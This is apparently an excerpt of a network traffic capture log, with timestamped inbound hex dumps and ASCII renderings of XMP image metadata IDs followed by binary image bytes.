2022-07-20 17:08:43 UTC	1973	IN	Data Raw: 64 69 64 3a 36 33 31 33 34 35 66 35 2d 62 31 63 62 2d 34 39 65 33 2d 62 31 61 66 2d 35 35 63 38 36 37 63 34 35 39 37 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 33 32 65 35 35 33 62 2d 31 39 39 32 2d 33 35 34 34 2d 38 65 64 65 2d 34 30 31 62 34 63 36 33 30 35 32 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 33 33 35 43 33 32 43 43 43 45 41 31 31 45 30 38 37 30 43 44 45 41 31 45 45 41 43 32 41 39 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 33 33 61 36 63 37 34 2d 39 61 30 36 2d 34 66 30 39 2d 62 37 62 39 2d 64 62 61 63 62 30 63 61 63 37 64 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 33 34 66 61 34 64 Data Ascii: did:631345f5-b1cb-49e3-b1af-55c867c45973</rdf:li> <rdf:li>xmp.did:632e553b-1992-3544-8ede-401b4c63052b</rdf:li> <rdf:li>xmp.did:6335C32CCCEA11E0870CDEA1EEAC2A96</rdf:li> <rdf:li>xmp.did:633a6c74-9a06-4f09-b7b9-dbacb0cac7d9</rdf:li> <rdf:li>xmp.did:634fa4d
2022-07-20 17:08:43 UTC	1989	IN	Data Raw: 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 31 36 32 41 31 30 31 31 33 32 30 36 38 31 31 38 37 31 46 43 44 32 31 39 39 41 44 31 36 37 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 31 36 44 35 39 35 31 46 36 32 30 36 38 31 31 42 31 31 33 43 43 38 38 33 44 39 37 35 32 43 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 31 36 44 45 34 35 34 35 42 32 30 36 38 31 31 38 32 32 41 46 44 41 35 36 35 38 46 31 31 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 31 37 32 36 39 63 65 2d 32 33 66 31 2d 34 62 36 34 2d 61 37 34 66 2d 31 39 66 30 36 33 35 33 66 63 31 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 Data Ascii: </rdf:li> <rdf:li>xmp.did:7162A10113206811871FCD2199AD167E</rdf:li> <rdf:li>xmp.did:716D5951F6206811B113CC883D9752CB</rdf:li> <rdf:li>xmp.did:716DE4545B206811822AFDA5658F115D</rdf:li> <rdf:li>xmp.did:717269ce-23f1-4b64-a74f-19f06353fc18</rdf:li> <rdf:li>x
2022-07-20 17:08:43 UTC	1997	IN	Data Raw: 69 3e 78 6d 70 2e 64 69 64 3a 37 38 38 37 35 46 37 35 38 41 45 39 44 46 31 31 42 32 33 46 42 32 41 36 44 37 37 37 32 35 45 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 38 38 37 45 32 39 32 33 39 32 30 36 38 31 31 41 39 36 31 44 42 43 45 35 43 42 36 31 45 39 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 38 38 46 33 36 32 46 31 31 32 30 36 38 31 31 38 43 31 34 44 30 43 33 41 42 41 33 46 38 43 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 38 42 32 44 44 35 42 33 37 32 30 36 38 31 31 38 30 38 33 44 31 37 42 41 31 44 39 37 37 46 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 38 42 33 36 37 34 44 30 41 32 34 36 Data Ascii: i>xmp.did:78875F758AE9DF11B23FB2A6D77725E5</rdf:li> <rdf:li>xmp.did:7887E29239206811A961DBCE5CB61E99</rdf:li> <rdf:li>xmp.did:788F362F112068118C14D0C3ABA3F8CF</rdf:li> <rdf:li>xmp.did:78B2DD5B372068118083D17BA1D977F3</rdf:li> <rdf:li>xmp.did:78B3674D0A246
2022-07-20 17:08:43 UTC	2013	IN	Data Raw: 33 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 38 30 30 65 31 34 32 2d 61 35 66 35 2d 34 35 30 34 2d 39 37 38 63 2d 31 63 36 61 66 32 36 38 34 65 36 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 38 30 32 45 34 38 37 34 44 32 30 36 38 31 31 41 37 42 41 41 39 46 39 34 38 41 33 39 46 34 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 38 30 42 32 44 44 45 46 44 39 44 45 31 31 31 41 44 44 32 39 42 36 38 34 45 34 35 45 35 38 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 38 30 63 63 62 63 31 2d 39 39 65 62 2d 34 64 35 34 2d 61 33 30 63 2d 34 63 66 38 31 34 35 66 65 37 36 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 Data Ascii: 3d</rdf:li> <rdf:li>xmp.did:8800e142-a5f5-4504-978c-1c6af2684e68</rdf:li> <rdf:li>xmp.did:8802E4874D206811A7BAA9F948A39F42</rdf:li> <rdf:li>xmp.did:880B2DDEFD9DE111ADD29B684E45E581</rdf:li> <rdf:li>xmp.did:880ccbc1-99eb-4d54-a30c-4cf8145fe761</rdf:li> <rd
2022-07-20 17:08:43 UTC	2029	IN	Data Raw: 36 39 30 33 64 2d 62 31 32 32 2d 65 64 34 61 2d 39 38 34 61 2d 36 37 36 31 34 32 33 30 36 30 38 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 35 31 35 34 32 44 42 37 43 46 46 45 31 31 31 39 32 43 30 46 39 36 33 44 36 32 45 46 38 31 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 35 32 31 45 45 30 31 44 44 46 41 45 34 31 31 38 45 36 34 46 32 30 31 45 30 30 45 45 43 32 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 35 32 36 44 34 41 43 31 42 32 30 36 38 31 31 38 43 31 34 42 38 37 30 37 44 35 37 30 41 35 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 35 32 44 39 41 43 35 36 33 32 34 36 38 31 31 42 34 31 30 44 35 Data Ascii: 6903d-b122-ed4a-984a-67614230608e</rdf:li> <rdf:li>xmp.did:951542DB7CFFE11192C0F963D62EF811</rdf:li> <rdf:li>xmp.did:9521EE01DDFAE4118E64F201E00EEC2A</rdf:li> <rdf:li>xmp.did:9526D4AC1B2068118C14B8707D570A5C</rdf:li> <rdf:li>xmp.did:952D9AC563246811B410D5
2022-07-20 17:08:43 UTC	2036	IN	Data Raw: 69 64 3a 39 43 44 36 37 43 41 44 41 36 39 34 31 31 45 30 41 30 46 35 41 33 41 39 36 32 34 31 39 45 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 43 45 31 35 44 38 33 30 41 32 30 36 38 31 31 38 30 38 33 42 46 44 39 41 39 46 38 31 37 33 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 44 31 37 43 41 45 33 38 41 32 30 36 38 31 31 38 41 36 44 44 34 36 44 41 30 43 41 31 30 43 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 44 34 32 42 30 45 44 44 37 43 34 45 30 31 31 39 42 42 31 45 31 37 45 39 37 44 34 42 37 35 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 44 34 41 38 43 35 45 43 41 37 39 45 32 31 31 38 32 38 31 Data Ascii: id:9CD67CADA69411E0A0F5A3A962419E83</rdf:li> <rdf:li>xmp.did:9CE15D830A2068118083BFD9A9F81730</rdf:li> <rdf:li>xmp.did:9D17CAE38A2068118A6DD46DA0CA10CF</rdf:li> <rdf:li>xmp.did:9D42B0EDD7C4E0119BB1E17E97D4B75C</rdf:li> <rdf:li>xmp.did:9D4A8C5ECA79E2118281
2022-07-20 17:08:43 UTC	2052	IN	Data Raw: 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 31 36 42 42 41 34 32 33 38 32 30 36 38 31 31 38 44 42 42 42 34 36 39 35 30 34 41 39 42 33 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 31 37 41 32 36 39 32 30 39 32 30 36 38 31 31 38 30 38 33 43 37 44 39 41 46 31 46 31 34 39 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 31 39 32 36 46 46 31 34 30 32 30 36 38 31 31 38 37 31 46 45 42 45 41 39 37 33 42 46 37 44 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 31 44 41 44 30 36 45 33 41 32 30 36 38 31 31 39 35 46 45 44 45 38 33 33 36 41 43 43 42 35 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 31 45 36 44 33 Data Ascii: <rdf:li>xmp.did:B16BBA42382068118DBBB469504A9B34</rdf:li> <rdf:li>xmp.did:B17A2692092068118083C7D9AF1F1492</rdf:li> <rdf:li>xmp.did:B1926FF140206811871FEBEA973BF7D7</rdf:li> <rdf:li>xmp.did:B1DAD06E3A20681195FEDE8336ACCB52</rdf:li> <rdf:li>xmp.did:B1E6D3
2022-07-20 17:08:43 UTC	2068	IN	Data Raw: 31 36 38 31 31 38 30 38 33 45 31 44 43 46 38 39 43 41 44 37 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 41 33 38 35 38 32 38 46 35 32 36 36 38 31 31 38 43 31 34 39 33 45 37 31 39 42 36 38 36 42 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 41 34 33 46 44 46 41 30 42 45 43 45 33 31 31 39 34 30 42 43 46 31 31 44 30 34 30 46 44 35 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 41 34 37 34 35 37 45 43 32 32 30 36 38 31 31 38 37 31 46 41 36 35 31 33 41 36 44 32 43 30 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 41 34 45 36 37 44 34 46 41 30 36 45 30 31 31 38 39 44 39 43 41 41 43 42 43 30 41 42 41 36 39 3c 2f Data Ascii: 168118083E1DCF89CAD76</rdf:li> <rdf:li>xmp.did:CA385828F52668118C1493E719B686BB</rdf:li> <rdf:li>xmp.did:CA43FDFA0BECE311940BCF11D040FD5E</rdf:li> <rdf:li>xmp.did:CA47457EC2206811871FA6513A6D2C05</rdf:li> <rdf:li>xmp.did:CA4E67D4FA06E01189D9CAACBC0ABA69</
2022-07-20 17:08:43 UTC	2072	IN	Data Raw: 31 36 37 34 44 32 30 36 38 31 31 41 46 46 44 46 41 39 44 36 37 39 37 37 43 42 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 45 45 30 34 33 35 30 31 41 32 30 36 38 31 31 38 38 43 36 38 30 30 42 35 39 41 35 36 46 31 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 45 46 31 43 32 34 37 36 35 33 34 45 31 31 31 42 44 39 34 39 34 46 46 45 31 36 37 33 35 44 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 46 30 31 42 34 37 30 43 36 43 34 31 31 45 30 38 43 38 31 38 43 35 42 36 34 31 39 36 44 30 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 46 30 42 34 41 30 44 39 36 32 32 36 38 31 31 38 32 32 41 39 45 34 31 38 46 34 35 Data Ascii: 1674D206811AFFDFA9D67977CB5</rdf:li> <rdf:li>xmp.did:CEE043501A20681188C6800B59A56F1F</rdf:li> <rdf:li>xmp.did:CEF1C2476534E111BD9494FFE16735DE</rdf:li> <rdf:li>xmp.did:CF01B470C6C411E08C818C5B64196D09</rdf:li> <rdf:li>xmp.did:CF0B4A0D96226811822A9E418F45
2022-07-20 17:08:43 UTC	2088	IN	Data Raw: 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 32 36 46 41 34 33 35 41 37 32 32 36 38 31 31 39 30 32 39 39 46 46 34 41 41 42 43 42 37 35 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 32 37 43 44 30 36 43 41 36 33 31 44 46 31 31 41 42 31 36 38 39 30 35 45 43 45 36 35 30 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 32 45 46 41 42 41 36 41 44 45 34 45 31 31 31 38 39 35 36 45 32 34 34 42 35 43 45 39 42 35 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 33 30 43 34 42 32 44 43 45 38 33 31 31 45 33 39 43 42 31 41 32 30 31 46 30 43 39 32 41 31 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 Data Ascii: /rdf:li> <rdf:li>xmp.did:E26FA435A722681190299FF4AABCB75E</rdf:li> <rdf:li>xmp.did:E27CD06CA631DF11AB168905ECE6505D</rdf:li> <rdf:li>xmp.did:E2EFABA6ADE4E1118956E244B5CE9B5B</rdf:li> <rdf:li>xmp.did:E30C4B2DCE8311E39CB1A201F0C92A13</rdf:li> <rdf:li>xmp.di
2022-07-20 17:08:43 UTC	2104	IN	Data Raw: 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 30 32 37 38 39 41 46 39 46 42 37 36 31 36 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 30 39 38 41 37 37 31 38 44 44 32 45 42 41 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 39 46 41 36 43 33 35 37 38 45 30 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 41 43 45 33 30 30 31 36 34 43 46 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 Data Ascii: > <rdf:li>xmp.did:F77F117407206811902789AF9FB7616E</rdf:li> <rdf:li>xmp.did:F77F1174072068119098A7718DD2EBAF</rdf:li> <rdf:li>xmp.did:F77F11740720681191099FA6C3578E0E</rdf:li> <rdf:li>xmp.did:F77F1174072068119109ACE300164CF3</rdf:li> <rdf:li>xmp.did:F77F1
2022-07-20 17:08:43 UTC	2112	IN	Data Raw: 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 39 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 32 42 30 39 39 34 42 30 41 44 37 35 39 44 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 39 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 34 35 37 38 34 37 31 42 45 37 42 36 37 41 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 39 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 37 41 35 44 43 38 31 43 33 31 38 45 33 46 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 39 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 41 38 32 46 45 32 41 43 42 43 35 37 34 33 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 39 37 46 31 31 37 34 30 37 32 Data Ascii: :li>xmp.did:F97F11740720681192B0994B0AD759DE</rdf:li> <rdf:li>xmp.did:F97F11740720681194578471BE7B67A9</rdf:li> <rdf:li>xmp.did:F97F11740720681197A5DC81C318E3FF</rdf:li> <rdf:li>xmp.did:F97F1174072068119A82FE2ACBC57436</rdf:li> <rdf:li>xmp.did:F97F1174072
2022-07-20 17:08:43 UTC	2128	IN	Data Raw: 31 61 36 65 63 66 2d 35 64 63 63 2d 62 34 34 39 2d 38 34 35 39 2d 37 39 37 38 61 65 61 61 33 64 65 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 64 62 35 62 64 65 39 2d 36 33 62 65 2d 34 36 65 38 2d 61 39 34 64 2d 63 63 65 31 64 32 66 35 32 32 32 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 64 63 34 36 37 35 32 2d 61 37 31 34 2d 39 38 34 35 2d 61 34 30 38 2d 32 32 65 63 35 34 39 38 38 62 62 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 64 64 66 62 32 34 31 2d 32 34 37 66 2d 34 32 31 33 2d 61 63 30 37 2d 30 65 36 61 36 30 32 34 38 33 33 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 65 31 34 62 66 36 63 2d Data Ascii: 1a6ecf-5dcc-b449-8459-7978aeaa3dec</rdf:li> <rdf:li>xmp.did:adb5bde9-63be-46e8-a94d-cce1d2f5222b</rdf:li> <rdf:li>xmp.did:adc46752-a714-9845-a408-22ec54988bbe</rdf:li> <rdf:li>xmp.did:addfb241-247f-4213-ac07-0e6a60248332</rdf:li> <rdf:li>xmp.did:ae14bf6c-
2022-07-20 17:08:43 UTC	2144	IN	Data Raw: 2d 61 65 37 39 2d 38 65 62 38 39 30 35 33 37 39 39 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 64 66 32 61 64 37 64 2d 66 63 32 65 2d 34 31 63 63 2d 62 38 62 31 2d 62 36 66 66 36 35 64 39 65 64 37 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 65 32 63 31 39 32 37 2d 37 31 38 30 2d 32 66 34 30 2d 62 65 30 38 2d 33 66 32 38 36 31 33 61 61 30 65 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 65 34 64 63 31 38 66 2d 32 65 61 34 2d 34 37 38 30 2d 39 38 34 32 2d 38 31 31 39 65 36 64 35 37 32 30 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 65 35 61 35 66 31 65 2d 64 30 32 38 2d 66 36 34 35 2d 38 33 36 34 2d 30 Data Ascii: -ae79-8eb890537996</rdf:li> <rdf:li>xmp.did:ddf2ad7d-fc2e-41cc-b8b1-b6ff65d9ed72</rdf:li> <rdf:li>xmp.did:de2c1927-7180-2f40-be08-3f28613aa0e1</rdf:li> <rdf:li>xmp.did:de4dc18f-2ea4-4780-9842-8119e6d57207</rdf:li> <rdf:li>xmp.did:de5a5f1e-d028-f645-8364-0
2022-07-20 17:08:43 UTC	2152	IN	Data Raw: 37 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 37 31 63 64 36 65 30 2d 38 34 37 35 2d 34 38 31 36 2d 39 35 36 63 2d 39 30 33 61 31 32 62 39 34 65 37 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 37 32 35 65 39 38 66 2d 39 30 64 32 2d 34 37 64 30 2d 39 36 66 36 2d 36 62 34 62 63 66 63 65 61 65 65 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 37 32 65 31 35 61 33 2d 37 37 31 31 2d 34 39 62 64 2d 62 61 31 30 2d 64 34 36 61 62 36 36 65 63 62 61 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 37 33 37 39 32 32 32 2d 38 34 63 38 2d 34 62 36 61 2d 38 38 66 37 2d 38 33 31 61 65 38 33 30 65 36 34 63 3c 2f 72 64 66 Data Ascii: 7b</rdf:li> <rdf:li>xmp.did:f71cd6e0-8475-4816-956c-903a12b94e70</rdf:li> <rdf:li>xmp.did:f725e98f-90d2-47d0-96f6-6b4bcfceaeeb</rdf:li> <rdf:li>xmp.did:f72e15a3-7711-49bd-ba10-d46ab66ecba0</rdf:li> <rdf:li>xmp.did:f7379222-84c8-4b6a-88f7-831ae830e64c</rdf
2022-07-20 17:08:43 UTC	2168	IN	Data Raw: 64 d0 fa bd 57 04 a4 5f 98 7b e8 81 c8 5e 6d 10 12 24 c9 44 0a 46 99 aa 50 29 1a 66 a9 11 91 96 6a 70 44 68 b5 48 43 64 da 98 a4 49 61 4e 02 44 96 a2 04 34 cd ad 31 05 b8 53 81 00 3f 6d 38 10 af 32 88 09 01 73 4e 00 6c c9 4e 05 23 45 e8 81 48 82 d7 a9 40 48 96 7a 20 52 26 e6 98 a4 1b a8 09 06 ea 70 00 df 44 00 92 d4 e0 02 2d 4e 04 25 8d 38 14 88 2d 6a 90 82 df ad 48 05 09 3b e9 00 9d d4 c0 72 f4 80 04 d3 01 34 00 db 0a 60 20 e9 40 84 48 6e 29 a1 0c 30 a9 00 8a 60 11 ef a0 03 06 93 01 6a 6a 2c 07 05 21 a1 c0 69 0c 50 6d 2a 2c 00 5a 90 08 2d 52 80 13 7a 60 11 3d 94 00 57 14 00 54 00 54 c0 ff d5 76 d5 f6 d3 c3 87 40 02 80 05 00 15 a8 00 50 00 a6 00 b5 20 05 a8 00 01 40 02 d4 00 28 00 50 00 b5 00 1d a8 00 76 53 00 5a 90 05 40 02 80 05 00 0b 50 30 50 00 b5 02 Data Ascii: dW_{^m$DFP)fjpDhHCdIaND41S?m82sNlN#EH@Hz R&pD-N%8-jH;r4` @Hn)0`jj,!iPm*,Z-Rz`=WTTv@P @(PvSZ@P0P
2022-07-20 17:08:43 UTC	2184	IN	Data Raw: 73 80 1b d9 c2 30 e8 76 1d ad ad 61 6a 1c 17 55 c9 07 13 0e 5c c7 2b 8e 97 10 a3 4a c4 0e 8a 3a 9a 96 d6 c9 37 04 3c 92 05 ec 3d b7 ff 00 a6 a2 90 40 9c ac 74 85 c4 6a fb da c1 8b 2f 4d c4 7c bf 0a b2 20 91 14 5b 20 79 52 6d 5e fd bd a7 de 68 62 64 e4 48 71 fc 7b fc 7a 0b 91 d6 ab 02 3e 7e 46 e2 02 f6 1d 0d b5 a1 22 49 0a c6 76 85 64 05 81 89 fe 5b 8b dc 8a b2 b6 1b d0 bc e3 f9 fe 3b f9 4e 57 0e d8 4a f3 ca 15 e3 c8 92 42 1a 22 a4 17 10 a8 17 3b fa 10 c7 e5 ad 37 be 37 5e 9a f8 95 ec dc fa 90 b2 f1 78 7c c9 d5 a1 49 17 1b 7f 88 a1 f1 94 3d 8a af 70 a5 7d ad ad 67 6e b3 a0 a1 90 1b 07 00 46 52 c5 67 04 ea cf 7d c0 9f 0f 84 0f 0e d5 f9 bb cd 54 df 81 6d 09 2e e4 c6 b0 79 84 58 78 6c 2e 7e da 87 50 b6 a4 54 8b 1b 14 6a c5 d8 6a 41 e9 73 dd 4f a8 96 83 d1 e2 Data Ascii: s0vajU\+J:7<=@tj/M\| [ yRm^hbdHq{z>~F"Ivd[;NWJB";77^x\|I=p}gnFRg}Tm.yXxl.~PTjjAsO
2022-07-20 17:08:43 UTC	2191	IN	Data Raw: 51 ed ab 6a cb 6a 41 68 dc b7 9e c0 06 ef 5e c1 56 c9 72 20 e4 66 ae aa 50 c8 d7 fc 47 f5 0a 9a 41 03 9f 92 46 42 d2 a0 88 e8 48 b8 d0 7b a9 48 0d be 1c 6b 66 57 47 ed b1 1a 7d b4 d5 81 8e b4 cb 25 84 84 03 7d 41 1a 7d d4 41 11 2e c6 c2 c5 4a df a0 b8 bf b2 81 b3 ff d1 ea c7 26 bd 8e c0 de 27 f3 76 d2 a5 b0 8f 98 03 97 46 c1 79 82 4e 55 ea 5b 05 bc 6c e5 54 95 08 bc 81 7e 62 f4 f6 91 de 0f cc 03 46 d0 dc 23 cc bd 38 23 22 f7 50 39 0b 7f b6 88 09 0b cc ec a2 02 41 ba f4 04 85 7a 04 0b d0 00 2d 7a 00 1b a8 00 17 b5 02 13 be 98 07 be 88 09 14 1c d2 81 c8 92 f6 a7 01 22 0c 8d 4e 08 c8 7e 6b 0a 7b 43 70 46 56 a3 68 b7 03 cc d3 5a 20 37 03 75 28 09 01 90 d3 80 dc 23 cf 23 db 4f 68 b7 06 27 a3 68 6f 0b cf bd 1b 43 78 3c fa 7b 45 b8 2f 32 f4 40 48 93 21 a2 05 b8 Data Ascii: QjjAh^Vr fPGAFBH{HkfWG}%}A}A.J&'vFyNU[lT~bF#8#"P9Az-z"N~k{CpFVhZ 7u(##Oh'hoCx<{E/2@H!
2022-07-20 17:08:43 UTC	2207	IN	Data Raw: bf 0e ca 70 38 2a f3 33 72 26 75 f3 ed a0 d0 da c6 ac 49 22 50 4f c7 9e 59 13 6a 6d 5b 8e b6 bd 41 b2 2c 99 8c f9 ca 4c 7b 41 dd 62 1a ff 00 aa a2 da 14 91 a5 89 f0 e6 49 26 bb 6f 3d 17 a5 4a 64 64 e6 39 00 b2 a4 45 55 75 b9 00 02 7d e7 b6 a2 34 36 2f 18 da ee a4 f6 a8 eb fe 7a 90 c7 60 fc 94 ab 63 26 ef 6b 0b 7c 2d 49 a1 34 21 71 a1 79 0b c1 b8 13 75 24 74 fb 3b 68 4c 92 70 55 65 47 3e 0c a0 82 19 4f ca 2d 63 f6 54 e6 44 38 d9 13 e4 46 15 83 03 db a8 b5 22 24 79 97 70 da ed a8 d7 4e a7 e3 50 10 dc 7f 30 b1 3b 47 51 7a 63 80 49 1c 53 38 11 b1 03 b7 4b 53 05 a1 3e 0e 2d c5 99 37 79 84 e9 7d 2f 55 bb 24 41 d8 66 4c 39 97 27 ca ca 24 0e b7 1a df dd 44 ae c4 a7 42 74 f8 b0 c5 8f 65 12 75 d5 88 d0 7b 0d 45 3d 48 c8 c6 3a 6e 1e 17 db 19 ea 7b fd d5 26 0c 9a 24 Data Ascii: p8*3r&uI"POYjm[A,L{AbI&o=Jdd9EUu}46/z`c&k\|-I4!qyu$t;hLpUeG>O-cTD8F"$ypNP0;GQzcIS8KS>-7y}/U$AfL9'$DBteu{E=H:n{&$
